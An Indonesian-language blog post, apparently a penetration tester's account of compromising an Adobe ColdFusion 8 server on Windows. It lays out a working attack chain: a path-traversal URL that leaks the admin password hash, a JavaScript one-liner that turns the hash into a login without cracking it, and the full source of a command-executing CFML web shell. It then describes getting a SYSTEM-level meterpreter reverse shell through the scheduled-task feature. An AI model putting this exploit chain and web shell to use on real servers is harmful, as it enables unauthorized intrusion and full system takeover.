Long Long time ago, in a galaxy far far away, saya pernah dihadapkan dengan Adobe ColdFusion 8, disini saya mencoba berbagi pengamalaman bagaimana saya menjinakan Adobe ColdFusion 8, tapi berhubung ini project yang sudah agak lama, tidak banyak laporanya yang tersimpan hanya beberapa screenshot yang tersisa, dan saya sudah mulai  lupa detilnya (maklum umur)  kemudian  jika saya membuat VM lagi, install windows server lagi dan mencoba mereplikasi lagi dengan ColdFusion rasanya agak malas untuk itu ..hehe .

Pertama tama, apa itu ColdFusion ? ColdFusion hanyalah salah satu Web Application Development Platform alias web server. bahasa pemogramannya adalah   ColdFusion Markup Language (CFML) yang di compiled menggunakan Java Backend (kalau gak salah)  Untuk ColdFusion yang tidak di Patch dengan baik banyak kerentananya, mulai dari SQL injection sampai dengan default ColdFusion yang  berjalan di sistem opreasi  Windows menggunakan izin akses NT-Authority\SYSTEM.

Maka dari itu, kombinasi ColdFusion dan OS Windows sangat diminati Pentesters dan Hackers.

Target utama dalam penyerangan ke ColdFusion ini adalah untuk mendapatkan Administrator Console nya dan kemudian kita upload reverse shell untuk mendapatkan akses ke shell, berhubung target di project saya ini ColdFusion nya  berjalan di dalam Sistem Operasi Windows .NET Server, maka saya bisa langsung mendapatkan shell dengan hak akses Administrator pada mesin lokal ..horeee !!!

Saya dihadapkan dengan ColdFusion.8,  setelah menemukan halaman login Administrator, dengan menggunakan Local File Inclusion saya masukan perintah ini :

 

lain versi lain perintah, namun pada ColdFusion 8:

http://[HOSTNAME:PORT]/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%en

 

akan keluarlah tampilan seperti ini

adobe1

Jika Local File Inclusion nya sukses maka keluarlah tampilan seperti diatas, akan keluar password hash, hash ini tidak perlu di crack bisa langsung digunakan dengan beberapa langkah.

Langkah berikutnya adalah memasukan password hash tersebut kedalam kolom password, selanjutnya, dengan menggunakan javascript editor atau debuging console yang biasanya sudah tersedia di web browser (burb suite juga bisa) kita tulis  :

javascript:alert(hex_hmac_sha1(document.loginform.salt.value, document.loginform.cfadminPassword.value))

adobe2

Simpan value ini, kemudian kembali ke halaman login dengan klik tombol back di web browser, setelah itu aktifkan burp suite klik login kemudian rubah parameter dari  cfadminPassword menjadi value yang tertulis diatas, dan klik forward di burp suite.

Sebagai catatan, terkadang login pagenya relaod sendiri, dan mengakibatkan value salt nya berubah, perhatikan baik-baik value dari salt yang didapat hanya berlaku untuk waktu yang terbatas, ulang kembali proses jika gagal dan masukan value salt yang baru

admin

Kemudian akan tampil Administrator Console seperti diatas, kemudian kita melanjutkan ke “Debugging & Loging > Scheduled Task” disini kita akan mengeksekusi script menggunakan task scheduler, tapi sebelum kita buat reverse shell, kita test dulu dengan menggunakan web shell buatan Kurt Grutzmacher yang isinya seperti ini :

<html>
<body>

Notes:<br><br>
<ul>
<li>Prefix DOS commands with "c:\windows\system32\cmd.exe /c &lt;command&gt;" or wherever cmd.exe is<br>
<li>Options are, of course, the command line options you want to run
<li>CFEXECUTE could be removed by the admin. If you have access to CFIDE/administrator you can re-enable it
</ul>
<p>
<cfoutput>
<table>
<form method="POST" action="cfexec.cfm">
<tr><td>Command:</td><td><input type=text name="cmd" size=50 
 <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50 
 <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4 
 <cfif isdefined("form.timeout")>value="#form.timeout#"
 <cfelse>value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</FORM>

<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
 arguments = "#Form.opts#" 
 timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
#myVar#
</pre>
</cfif>
</cfoutput>
</body>
</html>

 

logging

Setelah di eksekusi akan keluar tampilan seperti ini dimana kita bisa melakukan eksekusi perintah DOS menggunakan   webshell.

loging2

Setelah berhasil saya akan lanjutkan dengan membuat script untuk mendapatkan reverse shell menggunakan Msfvenom.

msfvenom

Setelah selesai saya melakukan upload file meterpreter.vbs menggunakan task scheduler dan kemudian saya  eksekusi filenya di webshell, akan tetapi sebelumnya saya juga sudah memperisapkan multi/handler di metasploit .

webshell1

setelah klik tombol Exec multi/handler saya akan bereaksi seperti ini :

shell

taaadaaaa…  langsung tersambung dan langsung mendapatkan hak akses NT AUTHORITY\SYSTEM

Mohon maaf kalau banyak yang disensor, hanya semata untuk melindungi victim yang tidak berdosa. hehe

Terima kasih, semoga tulisan sederhana ini ada gunanya.

Wassalam

A. Zaki

 

 

 

 

 

Advertisements